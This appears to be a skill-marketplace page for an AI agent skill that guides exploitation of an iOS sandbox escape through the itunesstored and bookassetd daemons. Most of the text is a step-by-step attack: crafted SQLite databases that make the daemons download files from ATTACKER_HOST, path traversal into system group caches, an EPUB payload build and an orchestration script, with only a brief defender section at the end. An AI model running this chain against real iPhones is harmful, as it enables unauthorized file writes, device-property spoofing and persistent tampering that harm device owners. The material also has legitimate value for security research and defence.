# IOS Itunesstored Bookassetd Sandbox Escape

> iOS sandbox escape via itunesstored and bookassetd daemons. Use this skill whenever the user mentions iOS pentesting, sandbox escapes, itunesstored, bookassetd, AFC file access, SQLite database manipulation, or wants to exploit the downloads.28.sqlitedb/BLDatabaseManager.sqlite vulnerability chain. This works on iOS up to 26.2b1 and enables arbitrary file writes to mobile-owned paths via crafted SQLite databases and EPUB payloads.

- Skill: `abelrguezr/ios-itunesstored-bookassetd-sandbox-escape` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/ios-itunesstored-bookassetd-sandbox-escape`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ios-itunesstored-bookassetd-sandbox-escape/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/ios-itunesstored-bookassetd-sandbox-escape

---


# iOS itunesstored & bookassetd Sandbox Escape

## Overview

This skill guides you through exploiting a two-stage sandbox escape in iOS that abuses `itunesstored` (downloads manager) and `bookassetd` (Books/iBooks asset manager). Both daemons blindly trust user-writable SQLite metadata, allowing arbitrary file writes to most `mobile`-owned paths in `/private/var/`.

**Key capabilities:**
- Works on iOS up to at least 26.2b1 (tested on iPhone 12 / iOS 26.0.1)
- Requires only AFC-level access (USB file copy) or any foothold allowing SQLite replacement
- Survives reboots and enables tampering with system group caches like `systemgroup.com.apple.mobilegestaltcache`
- Can spoof device properties or persist configuration

## Prerequisites

1. **Local filesystem access** to `/var/mobile/Media/Downloads/` and `/var/mobile/Media/Books/` via:
   - AFC clients (3uTools, i4.cn, [`afcclient`](https://github.com/emonti/afcclient))
   - Any prior compromise allowing file writes

2. **HTTP server** hosting attacker files (`BLDatabaseManager.sqlite`, `iTunesMetadata.plist`, crafted EPUB)

3. **Ability to reboot the device** multiple times (each daemon reloads its database on boot)

4. **Books system-group UUID** (discovered via syslog - see Stage 1)

## Stage 1 – Abusing `downloads.28.sqlitedb` via `itunesstored`

`itunesstored` processes `/var/mobile/Media/Downloads/downloads.28.sqlitedb`. The `asset` table stores URL + destination metadata and is treated as trusted input. Crafting a row pointing to an attacker URL with `local_path` set to the Books SystemGroup causes `itunesstored` to download and overwrite the Books database on boot.

### Step 1: Locate the Books SystemGroup UUID

```bash
# Collect syslog archive
pymobiledevice3 syslog collect logs.logarchive

# Open logs.logarchive in Console.app and search for:
# bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite
```

Record the `<UUID>` for use in the SQL payload.

### Step 2: Craft the Malicious Database

Use the helper script to generate the malicious `downloads.28.sqlitedb`:

```bash
python scripts/craft_downloads_db.py \
  --uuid <BOOKS_SYSTEMGROUP_UUID> \
  --attacker-host https://ATTACKER_HOST \
  --output downloads.28.sqlitedb
```

**Key fields in the INSERT:**
- `url`: Attacker endpoint returning malicious `BLDatabaseManager.sqlite`
- `local_path`: Books system-group `BLDatabaseManager.sqlite` path
- Control flags: Keep defaults (`asset_type='media'`, `path_extension='epub'`)

### Step 3: Deploy Stage 1

1. Delete stale `/var/mobile/Media/Downloads/*` entries to avoid races
2. Replace `downloads.28.sqlitedb` with the crafted DB via AFC
3. **Reboot** → `itunesstored` downloads the Stage 2 database and drops `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`
4. Copy that plist to `/var/mobile/Media/Books/iTunesMetadata.plist` (Stage 2 expects it there)

## Stage 2 – Abusing `BLDatabaseManager.sqlite` via `bookassetd`

`bookassetd` owns broader filesystem entitlements and trusts the `ZBLDOWNLOADINFO` table. By inserting a fake purchase row with attacker URLs and a path traversal in `ZPLISTPATH`, the daemon downloads your EPUB and unpacks metadata into **any `mobile`-owned path** reachable through `../../..` escape sequences.

### Step 1: Craft the Malicious Books Database

Use the helper script to generate `BLDatabaseManager.sqlite`:

```bash
python scripts/craft_books_db.py \
  --attacker-host https://ATTACKER_HOST \
  --target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \
  --output BLDatabaseManager.sqlite
```

**Important fields:**
- `ZASSETPATH`: On-disk EPUB location (`/var/mobile/Media/Books/asset.epub`)
- `ZURL`/`ZPERMLINK`: Attacker URLs hosting the EPUB and auxiliary plist
- `ZPLISTPATH`: Path traversal base (e.g., `../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library`)
- Purchase metadata: Mimic legitimate entries so the daemon accepts the row

### Step 2: Deploy Stage 2

1. The malicious DB is already in place from Stage 1
2. **Reboot** → `bookassetd` downloads `asset.epub` to `/var/mobile/Media/Books/`
3. **Reboot again** → `bookassetd` processes the asset, follows `ZPLISTPATH`, and writes EPUB contents to the targeted SystemGroup path

## Crafting the EPUB Payload

`bookassetd` respects the EPUB ZIP format: `mimetype` must be the first uncompressed entry. Build a directory tree mirroring the desired path relative to `ZPLISTPATH`.

### Structure

```
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
```

### Build the Archive

Use the helper script:

```bash
python scripts/build_epub_payload.py \
  --payload com.apple.MobileGestalt.plist \
  --output hax.epub
```

Or manually:

```bash
# Create directory structure
mkdir -p Caches
echo -n 'application/epub+zip' > Caches/mimetype
cp YOUR_PAYLOAD.plist Caches/com.apple.MobileGestalt.plist

# Build EPUB with correct ordering
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
```

- `mimetype`: Must contain literal `application/epub+zip`
- `Caches/com.apple.MobileGestalt.plist`: Attacker payload landing at `.../Library/Caches/com.apple.MobileGestalt.plist`

## Full Orchestration Workflow

1. **Prepare files** on attacker HTTP server and craft both SQLite DBs with host/UUID-specific values
2. **Replace `downloads.28.sqlitedb`** on device and reboot → Stage 1 downloads malicious `BLDatabaseManager.sqlite`
3. **Copy `iTunesMetadata.plist`** to `/var/mobile/Media/Books/iTunesMetadata.plist` (repeat if daemon deletes it)
4. **Reboot again** → `bookassetd` downloads `asset.epub` using Stage 2 metadata
5. **Reboot a third time** → `bookassetd` processes the asset, follows `ZPLISTPATH`, writes EPUB contents to target
6. **Verify** by reading the overwritten plist or observing MobileGestalt-derived property changes

Use the orchestration script for automation:

```bash
bash scripts/orchestrate_attack.sh \
  --uuid <BOOKS_SYSTEMGROUP_UUID> \
  --attacker-host https://ATTACKER_HOST \
  --target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \
  --payload com.apple.MobileGestalt.plist
```

## Tooling & Operational Notes

- **`pymobiledevice3 syslog collect`** – Extract log archives to discover Books SystemGroup UUID
- **Console.app** – Filter for `bookassetd [Database]: Store is at ...` to recover exact container path
- **AFC clients** (`afcclient`, 3uTools, i4.cn) – Push/pull SQLite DBs and plist files over USB without jailbreak
- **`zip`** – Enforce EPUB ordering constraints when packaging payloads
- **Public PoC** – <https://github.com/hanakim3945/bl_sbx> ships baseline SQLite/EPUB templates

## Detection & Mitigation

**For defenders:**
- Treat `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` as untrusted input
- Validate `local_path`/`ZPLISTPATH` stay within approved sandboxes
- Reject fully qualified paths or traversal tokens
- Monitor for AFC writes replacing these databases
- Watch for unexpected downloads by `itunesstored`/`bookassetd` after boot
- Harden `bookassetd` unpacking with `realpath()` before writing
- Restrict AFC/USB file copy or require user interaction for metadata replacement

## References

- [itunesstored & bookassetd sbx escape](https://hanakim3945.github.io/posts/download28_sbx_escape/)
- [bl_sbx PoC repository](https://github.com/hanakim3945/bl_sbx)
- [pymobiledevice3](https://github.com/doronz88/pymobiledevice3)
- [afcclient](https://github.com/emonti/afcclient)

